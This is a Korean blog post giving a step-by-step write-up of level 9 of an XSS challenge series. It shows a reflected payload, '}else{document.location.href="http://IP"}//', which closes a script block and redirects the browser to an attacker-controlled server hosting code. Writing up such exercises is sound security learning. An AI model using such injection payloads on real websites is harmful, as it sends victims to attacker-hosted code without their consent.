ν‹°μŠ€ν† λ¦¬ λ·°

CHALLENGE

XSS Challenges 9

🌧: 2021. 8. 25.

ν•œλ™μ•ˆ μ˜¬λ¦¬μ§€ λͺ»ν–ˆλ˜ XSS μ±Œλ¦°μ§€λ₯Ό μ˜€λžœλ§Œμ— λ‹€μ‹œ ν’€κ²Œ λ˜μ—ˆμŠ΅λ‹ˆλ‹€. μ œκ°€ 재미있게 ν’€κ³  μžˆλŠ” Alexander Korznikov의 XSS μ±Œλ¦°μ§€μ˜ μž₯점은 기쑴의 XSS κ²Œμž„κ³ΌλŠ” λ‹€λ₯΄κ²Œ 파회 법을 올린 μ‚¬λžŒλ“€μ΄ 많이 μ—†μœΌλ©°(κ΅­λ‚΄μ—μ„œλŠ” λ³Έ 적이 μ—†λ„€μš”..) 좜제자의 μ˜λ„λ₯Ό μ•Œμ•„μ„œ νŒŒμ•…ν•˜κ³  일말의 힌트 없이 곡랡 ν•œλ‹€λŠ” μ μ—μ„œ λ”μš± 애착이 κ°€κ³  λͺ°μž…이 λ˜λŠ” κ±° κ°™μŠ΅λ‹ˆλ‹€.

 

곡랡 νŽ˜μ΄μ§€λŠ” ꡉμž₯히 μ‹¬ν”Œν•©λ‹ˆλ‹€. Reflected λ°©μ‹μœΌλ‘œ νŒŒλΌλ―Έν„°μ— μ μ ˆν•œ Payloadκ°€ μ‚½μž…λ  경우 λ‹€μ΄μ–Όλ‘œκ·Έ νŒμ—…μ°½μ„ λ„μš°μ‹€ 수 μžˆμŠ΅λ‹ˆλ‹€.

 

이전 단계(8-1) 의 μ†ŒμŠ€μ™€ μœ μ‚¬ν•œ ν˜•νƒœμ˜ μ½”λ“œλ₯Ό 가지고 μžˆμŠ΅λ‹ˆλ‹€. bλΌλŠ” λ³€μˆ˜μ—λŠ” "1"이 μ„ μ–Έλ˜μ–΄ 있고 if 쑰건문을 톡해 μŠ€ν¬λ¦½νŠΈκ°€ 싀행될 수 μžˆλ„λ‘ ꡬ문을 μ™„μ„±μ‹œμΌœμ•Ό λ©λ‹ˆλ‹€.

 

b의 λ³€μˆ˜κ°€ 1둜 μ„ μ–Έλœ μ‹œμ μ—μ„œ True λ‘œμ§μ—λŠ” 관심이 μ—†μŠ΅λ‹ˆλ‹€. μš°μ„  Your_Payloadκ°€ λ“€μ–΄κ°€λŠ” ꡬ문을 μš°μ„ μ μœΌλ‘œ λ‹«μ•„μ£Όκ² μŠ΅λ‹ˆλ‹€.

 

'}else{document.location.href="http://IP"}

elseλ₯Ό μ„ μ–Έν•˜μ—¬ μ˜ˆμ™Έμ²˜λ¦¬μΌ λ•Œ μ½”λ“œκ°€ μ‹€ν–‰λ˜λ„λ‘ 곡격자 μ„œλ²„μ— λ‹΄κΈ΄ μ½”λ“œλ₯Ό λ‘œλ“œν•˜λ„λ‘ document.location.href 을 μ„ μ–Έν•΄μ„œ μ§„ν–‰ν•΄λ³΄κ² μŠ΅λ‹ˆλ‹€.

 

'}else{document.location.href="http://IP"}//

μœ„μ˜ μ½”λ“œλ₯Ό μ‚½μž…ν•΄λ³΄λ©΄. html"} μ΄ν›„μ˜ ꡬ문이 λΆˆν•„μš”ν•˜κ²Œ μ—°κ²°λ˜μ–΄ μžˆμ–΄ μ˜¬λ°”λ₯΄κ²Œ μ™„μ„±λ˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. ν•œ 쀄 μ£Όμ„μ²˜λ¦¬μΈ "//" 더블 μŠ¬λŸ¬μ‰¬λ₯Ό μ΄μ–΄μ„œ μž‘μ„±ν•΄μ€λ‹ˆλ‹€.

 

μ΅œμ’…μ μœΌλ‘œ μž‘μ„±λœ Payloadλ₯Ό php?p=에 λ‹΄μ•„μ„œ 전솑해보도둝 ν•˜κ² μŠ΅λ‹ˆλ‹€.

 

μ΅œμ’… ꡬ문이 μ™„μ„±λ˜μ—ˆμœΌλ‹ˆ νŒŒλΌλ―Έν„°μ— μž…λ ₯해보면 μœ„μ™€ 같이 곡격자 μ„œλ²„μ— λ‹΄κΈ΄ html둜 λ¦¬λ‹€μ΄λ ‰νŠΈ λ˜μ–΄ λ‹€μ΄μ–Όλ‘œκ·Έ 창을 λ„μš°κ²Œ λ©λ‹ˆλ‹€.

'CHALLENGE' μΉ΄ν…Œκ³ λ¦¬μ˜ λ‹€λ₯Έ κΈ€

XSS Challenges 11  (0) 2021.08.27
XSS Challenges 10  (0) 2021.08.26
XSS Challenges 8-1  (0) 2020.12.12
[LOS] Dragon 풀이(20)  (0) 2020.12.11
XSS Challenges 8  (0) 2020.12.11
κ³΅μœ ν•˜κΈ° 링크
Comment